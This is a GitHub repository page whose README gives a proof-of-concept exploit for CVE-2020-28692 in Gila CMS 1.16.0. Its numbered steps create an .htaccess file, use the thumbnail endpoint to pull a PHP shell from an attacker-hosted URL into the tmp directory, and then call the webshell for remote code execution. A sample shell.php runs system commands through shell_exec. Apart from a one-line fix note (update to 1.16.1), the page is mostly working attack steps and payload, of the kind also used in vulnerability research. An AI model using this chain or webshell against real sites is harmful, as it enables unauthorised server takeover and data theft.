Skip to content

jkana/Gila-CMS-1.16.0-shell-upload

main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Code

Latest commit

 

Git stats

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
 
 
 
 

Gila-CMS-1.16.0-shell-upload (CVE-2020-28692)

Author: jkana

1.Login as administrator or any users have logs permission

2.Access to http://IP/admin/fm?f=tmp/ . For example: http://192.168.0.105:1234/gila16/admin/fm?f=tmp/

3.Click +File and create .htaccess:

4.Use this URL for downloading shell to gila's tmp directory http://IP/lzld/thumb?size=600&src=SHELL_URL .For example: http://192.168.0.105:1234/gila16/lzld/thumb?size=600&src=http://192.168.0.105:1234/files/shell.php

5.We can check shell name with http://IP/admin/fm?f=tmp/

6.Access to webshell and got RCE!


How to fix

Update to Gila CMS 1.16.1

shell.php

<?php
$output = shell_exec('ipconfig');
echo "<pre>$output</pre>";
?>

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published